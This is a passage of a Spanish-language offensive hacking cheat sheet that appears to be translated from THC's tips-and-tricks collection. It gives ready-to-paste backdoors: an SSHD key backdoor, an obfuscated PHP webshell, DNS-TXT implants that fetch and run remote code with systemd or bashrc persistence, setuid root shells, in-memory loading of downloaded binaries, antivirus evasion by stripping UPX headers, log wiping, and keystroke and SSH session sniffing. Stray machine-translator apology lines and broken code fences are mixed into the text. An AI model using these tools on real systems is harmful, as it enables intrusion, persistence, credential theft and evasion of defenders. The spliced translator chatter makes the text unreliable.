echo $(curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null
|nohup perl '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}"/usr/bin/python3",("-q")' 2>/dev/null
|{ read x;echo "$x";}&)
O la forma cutre:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;
6.iii. Backdoor SSHD más pequeño
apt updateauthorized_keys ni PAM.Agregar tu clave a authorized_keys está sobreutilizado 😩. En su lugar, como root, corta y pega esto una vez en cualquier objetivo. Añadirá una sola línea a la configuración de SSHD y te permitirá iniciar sesión para siempre:```shell
backdoor_sshd() {
local B="/etc/ssh"
local K="${B}/ssh_host_ed25519_key" D="${B}/sshd_config.d"
local N=$(cd "${D}" 2>/dev/null|| exit; shopt -s nullglob; echo .conf)
[ ! -f "$K" ] && K="${B}/ssh_host_rsa_key"
[ -n "$N" ] && N="${N%%.conf}.conf"
N="${D}/${N:-50-cloud-init.conf}"
[ ! -d "${D}" ] && N="${B}/sshd_config"
{ [ ! -f "$K" ] || [ ! -f "$K".pub ]; } && return
grep -iqm1 '^PermitRootLogin\s+no' "${B}/sshd_config" && echo >&2 "WARN: PermitRootLogin blocking in sshd_config"
echo -e "\e[0;31mYour id_ed25519 to log in to this server as any user:\e[0;33m\n$(cat "${K}")\e[0m"
grep -qm1 '^AuthorizedKeysFile' "$N" 2>/dev/null && { echo >&2 "WARN: Already backdoored"; return; }
echo -e "AuthorizedKeysFile\t.ssh/authorized_keys .ssh/authorized_keys2 ${K}.pub" >>"${N}" || return
touch -r "$K" "$N" "$D"
&& declare -F ctime >/dev/null && ctime "$N" "$D"
command -v systemctl >/dev/null && { systemctl restart ssh;:;} || service ssh restart
}
backdoor_sshd
Cómo funciona:
- La clave de host de SSHD es solo una clave ed25519 ordinaria.
- Cualquier clave ed25519 puede usarse para autenticar a un usuario.
- SSHD verifica `~/.ssh/authorized_keys` (pero este truco ha sido sobreexplotado).
- En su lugar, configura SSHD para que también verifique `/etc/ssh/sshd_host_ed25519_key.pub` para claves de autenticación de inicio de sesión.
- SSHD ahora verificará `~/.ssh/authorized_keys` _y_ `/etc/ssh/ssh_host_ed25519_key.pub` para claves de inicio de sesión válidas.
- Usa la clave secreta `/etc/ssh/sshd_host_ed25519_key` para iniciar sesión en el objetivo.
<a id="backdoor-network"></a>
**6.vi. Acceso remoto a toda una red**
Instala [gs-netcat](https://github.com/hackerschoice/gsocket). Crea un nodo de salida SOCKS en la LAN privada del Host que es accesible a través de la Global Socket Relay Network sin necesidad de ejecutar tu propio servidor de retransmisión (p. ej., accede a la LAN privada remota directamente desde tu estación de trabajo):```sh
gs-netcat -l -S # compromised Host
Ahora, desde tu estación de trabajo, puedes conectarte a CUALQUIER host en la LAN privada del Host:```sh gs-netcat -p 1080 # Your workstation.
socat - "SOCKS4a:127.1:route.local:22"
Lee [Usa cualquier herramienta a través de Socks Proxy](#scan-proxy).
Otros métodos:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - nuestro propio artículo
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - desde segfault.net a cualquier red (interna).
<a id="php-backdoor"></a>
**6.v. La puerta trasera PHP más pequeña**
Añade esta línea al principio de cualquier archivo PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
No se proporcionó contenido para traducir en este chunk (la entrada está vacía).```php if(isset($_POST[0])){system($_POST[0]);die;}
Prueba la puerta trasera:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
A veces system() está prohibido. Agrega eval() para permitir la ejecución remota de código PHP como respaldo. Oculta dentro de otros comentarios base64 para algo de ofuscación:```php
Activa con cualquiera de estos para ejecutar código de comando o PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'
6.vi. La backdoor más pequeña de túnel DNS inverso
Ejecuta comandos arbitrarios en un servidor que no es accesible desde la Internet pública mediante un disparador de DNS inverso.
Agrega esta línea (el implante) al comienzo de cualquier archivo PHP:```php
El implante solicita el payload mediante una solicitud DNS TXT desde el dominio `b00m.team-teso.net`. Cuando se activa, crea `/tmp/.b00m` y notifica a THC (a través de una callback de app.interactsh.com). *Por favor* usa tu propio dominio y crea también tu propio payload. Ejemplo:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0
bootloader. Usa un bucle while para descargar y ejecutar una carga útil más grande vía DNS.Añade este implante al ~/.bashrc del objetivo o al crontab (demo-paypload):```shell
bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ "|base64 -d);}"'&>/dev/null
o cambia la demo-payload por un payload elaborado:
- Inicia un demonio en segundo plano que consulta cada hora la ejecución de comandos.
- Depende únicamente de bash, dig y base64.
- Se oculta como `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- El ejemplo usa `b00m2.team-teso.net` de nuevo y crea /tmp/.b00m cada hora.
Copia y pega lo siguiente en el shell del objetivo para generar el implante de una línea:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt
Añade el resultado de 1 línea del script a cualquier script de inicio en el objetivo (usa crontab, ~/.bashrc, udev o ExecStartPre=). Aquí tienes un ejemplo ingenioso para /usr/lib/systemd/system/ssh.service (con algo de ofuscación adicional):```
...
[Service]
EnvironmentFile=-/etc/default/ssh
Environment="SSHD=echo RD1iMDBtMi50ZWFtLXRlc28ubmV0ClA9InNzaGQ6IC91c3Ivc2Jpbi9zc2hkIC1EIFtsaXN0ZW5lcl0gMCBvZiAxMC0xMDAgc3RhcnR1cHMiCk09L2Rldi9zaG0vLmNhY2hlJHtVSUR9ClsgLWYgJE0gXSYmZXhpdAp0b3VjaCAkTQooZWNobyAnc2xwKCl7IGxvY2FsIElGUztbIC1uICIke19zZmQ6LX0iIF18fGV4ZWMge19zZmR9PD4gPCg6KTtyZWFkIC10JDEgLXUkX3NmZHx8Ojt9CnNscCAxCndoaWxlIDo7IGRvCmRpZyArc2hvcnQgJyIkRCInIFRYVHx0ciAtZCBcIFwifGJhc2U2NCAtZHxiYXNoCnNscCAzNjAwCmRvbmUnfGV4ZWMgLWEgIiRQIiBiYXNoICYpICY+L2Rldi9udWxsCg==|base64 -d|bash"
ExecStartPre=-bash -c 'eval $SSHD'
ExecStartPre=/usr/sbin/sshd -t
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
...
...en PERL:
---
Lo mismo pero solo necesitando perl + bash (no dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt
(gracias a LouCipher por una versión en perl)
Corta y pega lo siguiente en tu shell:```shell pydnsbackdoorgen() { local str echo -e "This is the TXT record for ${1:?}\e[0;33m" base64 -w0 <"${2:?}" str="$(echo -en 'import dns.resolver\nexec(base64.b64decode("".join([d.to_text() for d in dns.resolver.resolve("'"${1:?}"'", "TXT").rrset])))' | base64 -w 0)" echo -e "\e[0m\nAdd this implant string to a target's python script:\e[0;32m" echo "exec('"'try:\n\timport base64\n\texec(base64.b64decode("'"${str}"'"))\nexcept:\n\tpass'"')" echo -e "\e[0m" }
Genera tu payload (`egg.py` se ejecutará en el objetivo):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF
Genera tu implante (y sigue las instrucciones):```shell pydnsbackdoorgen b00mpy.team-teso.net egg.py
<a id="ld-backdoor"></a>
**6.vii. Backdoor local de root**
#### 1. Crear una backdoor en el cargador dinámico con setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"
Please provide the Markdown content to translate.```bash
fn="$(readlink -f /lib64/ld-.so.)" || fn="$(readlink -f /lib/ld-.so.)" || fn="/lib/ld-linux.so.2" p="$(command -v python3 2>/dev/null)" || p="$(command -v python)" "${fn:?}" "$p" -c 'import os;os.setuid(0);os.setgid(0);os.execlp("bash", "kdaemon")'
#### 2. El clásico shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null
I don't see any content to translate — the INPUT: section is empty. Please provide the source text for chunk 378 of 494, and I'll translate it from English to Spanish following all the specified rules.```shell
exec /var/tmp/.b00m -p -c 'exec python -c "import os;os.setuid(0);os.execlp("bash", "kdaemon")"'
<a id="implant"></a>
**6.viii. Implant autoextraíble**
Crea un script de shell autoextraíble usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (consulta el código fuente para ver ejemplos).
Ejemplo simple:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh
Real world examples are best:
2. Renombra `egg.sh` a `update-for-fools.txt` y súbelo como blob al repositorio de GitHub de [Signal](https://www.signal.org/).
3. No engañes a la gente para que actualice Signal usando este comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash
Obtén información esencial sobre un host:```sh bash -c "$(curl -fsSL https://thc.org/ws)"
o```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"
netstat si no hay netstat/ss/lsof:```sh curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
Comprobar la velocidad del sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:
# curl -fsSL https://yabs.sh | bash
Encuentra todos los binarios suid/sgid:``` find / -xdev -type f -perm /6000 -ls 2>/dev/null
Encuentra todos los directorios escribibles:```bash
wfind() {
local arr dir
arr=("$@")
while [[ ${#arr[@]} -gt 0 ]]; do
dir=${arr[${#arr[@]}-1]}
unset "arr[${#arr[@]}-1]"
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr
Encuentra contraseñas locales (usando noseyparker o trufflehog):```sh
curl -o np -fsSL https://github.com/hackerschoice/binary/raw/main/tools/noseyparker-x86_64-static
chmod 700 np &&
./np scan . &&
./np report --color=always | less -R
- Usa [PassDetective](https://github.com/aydinnyunus/PassDetective) para encontrar contraseñas en ~/.*history
- Usa [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) para extraer y descifrar contraseñas de Chrome desde el proceso en ejecución (solo Windows)
- Extrae contraseñas de los navegadores usando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)
Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .
Buscar subdominios o correos electrónicos en archivos:```bash resolv() { while read -r x; do r="$(getent hosts "$x")" || continue; echo "${r%% *}"$'\t'"${x}"; done; } find_subdomains() { local d="${1//./\.}" local rexf='[0-9a-zA-Z_.-]{0,64}'"${d}" local rex="$rexf"'([^0-9a-zA-Z_]{1}|$)' [ $# -le 0 ] && { echo -en >&2 "Extract sub-domains from all files (or stdin)\nUsage : find_subdomains \nExample: find_subdomain .com | anew"; return; } shift 1 [ $# -le 0 ] && [ -t 0 ] && set -- . command -v rg >/dev/null && { rg -oaIN --no-heading "$rex" "$@" | grep -Eao "$rexf"; return; } grep -Eaohr "$rex" "$@" | grep -Eo "$rexf" }
---
<a id="shell-hacks"></a>
## 8. Trucos de Shell
<a id="shred"></a>
**8.i. Triturar y borrar un archivo**```sh
shred -z foobar.txt
I need to translate the provided input, but it appears the input is empty.```sh
shred() { [[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; } dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1" rm -f "${1:?}" } shred foobar.txt
Nota: O despliega tus archivos en el directorio */dev/shm* para que no se escriban datos en el disco duro. Los datos se eliminarán al reiniciar.
Nota: O elimina el archivo y luego llena todo el disco duro con /dev/urandom y después ejecuta rm -rf sobre el archivo de volcado.
<a id="restore-timestamp"></a>
**8.ii. Restaurar la fecha de un archivo**
Digamos que has modificado */etc/passwd* pero la fecha del archivo ahora muestra que */etc/passwd* ha sido modificado. Usa *touch* para cambiar la fecha del archivo a la fecha de otro archivo (en este ejemplo, */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'
Utiliza hackshell y ctime /etc/passwd para ajustar también el ctime y la hora de creación.
8.iii. Limpiar el archivo de registro
Esto restablecerá el archivo de registro a 0 sin tener que reiniciar syslogd, etc.:```sh
/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
Esto eliminará cualquier línea que contenga la IP `1.2.3.4` del archivo de registro:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }
Ejemplos:```sh
<a id="shell-hide-files"></a>
**8.iv. Ocultar archivos de ese usuario sin privilegios de root**
Nuestro directorio de trabajo favorito es */dev/shm/*. Esta ubicación es memoria volátil y se perderá al reiniciar. SIN LOGS == SIN CRIMEN.
Ocultar archivos permanentes:
Método 1:```sh
alias ls='ls -I system-dev'
Esto ocultará el directorio system-dev del comando ls. Colócalo en ~/.profile del usuario o en /etc/profile del sistema.
Método 2: Trucos de los 80. Considera cualquier directorio en el que el administrador rara vez mire (como /boot/.X11/.. o similar):```sh mkdir '...' cd '...'
Método 3:
Unix permite nombres de archivo con casi cualquier carácter ASCII excepto 0x00. Prueba con el tabulador (*\t*). Sucede que la mayoría de los administradores no saben cómo hacer cd en un directorio así.```sh
mkdir $'\t'
cd $'\t'
8.v. Hacer un archivo inmutable
Esto redirigirá /var/www/cgi/blah.cgi a /boot/backdoor.cgi. El archivo blah.cgi no puede ser modificado ni eliminado (a menos que se desmonte).```sh
touch /var/www/cgi/blah.cgi mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
<a id="nosudo"></a>
**8.vi. Cambiar de usuario sin sudo/su**
Necesario para tomar capturas de pantalla de sesiones X11 (también conocido como `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` o `import -display :0 -window root screenshot.png`)```bash
xsu() {
local name="${1:?}"
local u g h
local cmd="python"
command -v python3 >/dev/null && cmd="python3"
[ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
u=$(id -u ${name:?}) || return
g=$(id -g ${name:?}) || return
h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user
8.vii. Ofuscar y cifrar payload
Usa UPX para empaquetar un binario ELF (ejemplo /bin/id):```shell
BIN="mybin"
upx -qqq /bin/id -o "${BIN}"
Limpia la [cabecera de UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) y la segunda cabecera ELF para engañar al antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"
Opcionalmente, limpiar firmas y rastros de UPX:```shell
cat "${BIN}"
| perl -e 'local($/);$=<>;s/(.)($Info:[^\0])(.*)/print "$1";print "\0"x length($2); print "$3"/es;'
| perl -e 'local($/);$=<>;s/(.)($Id:[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
mv "${BIN}.tmpupx" "${BIN}"
grep -Eqm1 "PROT_EXEC|PROT_WRITE" "${BIN}"
&& cat "${BIN}" | perl -e 'local($/);$_=<>;s/(.)(PROT_EXEC|PROT_WRI[^\0])(.)/print "$1";print "\0"x length($2); print "$3"/es;' >"${BIN}.tmpupx"
&& mv "${BIN}.tmpupx" "${BIN}"
perl -i -0777 -pe 's/UPX!/\0\0\0\0/sg' "${BIN}"
Verificar que el binario no puede ser desempaquetado:```shell
upx -d "${BIN}" # Should fail with 'not packed by UPX'
Optionally encrypt it with bincrypter.
8.viii. Desplegar una puerta trasera sin tocar el sistema de archivos
Inicia una puerta trasera sin escribir en el sistema de archivos o cuando todas las ubicaciones escribibles están montadas con el malvado flag noexec.
Un one-liner de Perl para cargar un binario en memoria y ejecutarlo (sin tocar ningún disco ni /dev/shm ni /tmp). Consulta Hackshell para más información.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }
La variante más corta posible es (ejemplo):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u
(Gracias a tmp.Out por algunas discusiones esclarecedoras y trabajo previo de otros)
Desplegar gsocket sin escribir en el sistema de archivos (ejemplo):```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))
El backdoor también se puede canalizar a través de SSH directamente en la memoria del remoto, y ejecutarse:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"
Si tienes una sola oportunidad de ejecutar un comando de forma remota (como mediante un exploit de PHP), entonces esta es tu línea:```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337
---
<a id="crypto"></a>
## 9. Criptografía
<a id="gen-password"></a>
**9.i. Generar contraseña aleatoria rápida**
Ideal para contraseñas rápidas sin intervención humana.```sh
openssl rand -base64 24
Si openssl no está disponible, también podemos usar head para leer desde /dev/urandom.```sh
head -c 32 < /dev/urandom | xxd -p -c 32
o hazlo alfanumérico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
9.ii.a. Sistemas de archivos cifrados transportables de Linux - cryptsetup
Crea un sistema de archivos cifrado de 256MB. Se te pedirá una contraseña.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec
Montar:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
Guarda los datos en /mnt/crypted, luego desmonta:```sh
umount /mnt/sec
cryptsetup close sec
<a id="encfs"></a>
**9.ii.b. Sistemas de archivos cifrados transportables en Linux - EncFS**
Crea ```.sec``` y almacena los datos cifrados en ```.raw```:```sh
mkdir .raw .sec
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
unmount:```sh fusermount -u .sec
<a id="encrypting-file"></a>
**9.iii Cifrado de un archivo**
Cifra tus 0-Days y archivos de registro antes de transferirlos - por favor. (y elige tu propia contraseña):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
No se proporcionó contenido para traducir en este chunk (el texto tras "INPUT:" está vacío).```sh
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
---
<a id="sniffing"></a>
## 10. Sniffing y secuestro de sesiones
<a id="session-sniffing"></a>
**10.i Sniffing de la sesión SHELL de un usuario**
Un one-liner para `~/.bashrc` que captura las pulsaciones de teclado del usuario y las guarda en `~/.config/.pty/.@*`. Útil cuando no se es root y se necesitan capturar las credenciales sudo/ssh/git del usuario.
Despliegue: Corta y pega lo siguiente en el objetivo y sigue las instrucciones:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
/usr/bin/script de util-linux >= 2.37 (opción -I). Obtenemos el binario estático de pkgforge.ssh -o "SetEnv LC_PTY=1" para desactivar el registro.10.ii Intercepta todas las sesiones SHELL con dtrace - FreeBSD
Especialmente útil para Solaris/SunOS y FreeBSD (pfSense). Utiliza sondas del kernel para rastrear todos los procesos sshd.
Copia este "D Script" al sistema de destino en un archivo llamado d:```c
#pragma D option quiet
inline string NAME = "sshd";
syscall::write:entry
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
Inicia un dtrace y registra en /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)
10.iii Capturar todas las sesiones SHELL con eBPF - Linux
eBPF nos permite enganchar de forma segura más de 120.000 funciones en el kernel. Es como un "dtrace" mejor, pero para Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt
Echa un vistazo a nuestras propias [herramientas eBPF para espiar contraseñas de sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).
<a id="ssh-sniffing-strace"></a>
**10.iv Espiar la sesión SSH, bash o SSHD de un usuario con strace**```sh
tit() {
strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ... | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)
También es posible esnifar el proceso SSHD (captura también contraseñas de sudo, etc.). Nótese que trazamos la llamada write() en su lugar (porque sshd 'escribe' datos a bash):```sh
ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...
Sniff 7770 (ejemplo):```shell
tit write 7770
10.v. Esnifar la sesión SSH saliente de un usuario con un script envoltorio
Un método aún más sucio en caso de que /proc/sys/kernel/yama/ptrace_scope esté configurado en 1 (strace fallará en sesiones SSH ya en ejecución)
Crea un script envoltorio llamado 'ssh' que ejecute strace + ssh para registrar la sesión:
mkdir -p ~/.local/bin ~/.local/logs
cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF
cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile
echo -e "\033[1;32mSUCCESS.
Logfiles stored in ~/.local/.logs/.
To uninstall cut & paste this\033[0m:\033[1;36m
grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
(gracias a Gerald por probar esto)
</details>
La sesión SSH será capturada y registrada en *~/.ssh/logs/* la próxima vez que el usuario inicie sesión en su shell y use SSH.
<a id="ssh-sniffing-sshit"></a>
**10.vi Espiar la sesión SSH saliente de un usuario usando SSH-IT**
La forma más sencilla es usando [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
10.vii Secuestro / Toma de control de una sesión SSH en ejecución
Usa https://github.com/nelhage/reptyr para tomar el control de una sesión SSH existente:```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T
---
<a id="vpn-shell"></a>
## 11. VPN y Shells
<a id="shell"></a>
**11.i. Servidores root desechables**```console
$ ssh [email protected] # Use password 'segfault'
Proveedores de VPN de confianza
Servidores Virtuales Privados. Por favor, consulta offshore.cat.
Proxies (no usamos ninguno de esos)
curl -x socks5h://$(PROXY) ipinfo.io - selecciona un proxy aleatorio para cada solicitudMuchos otros servicios (gratis)
DNS inverso desde múltiples bases de datos públicas:```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }
Encuentra subdominios de la base de datos TLS/THC-IP:```sh
sub() {
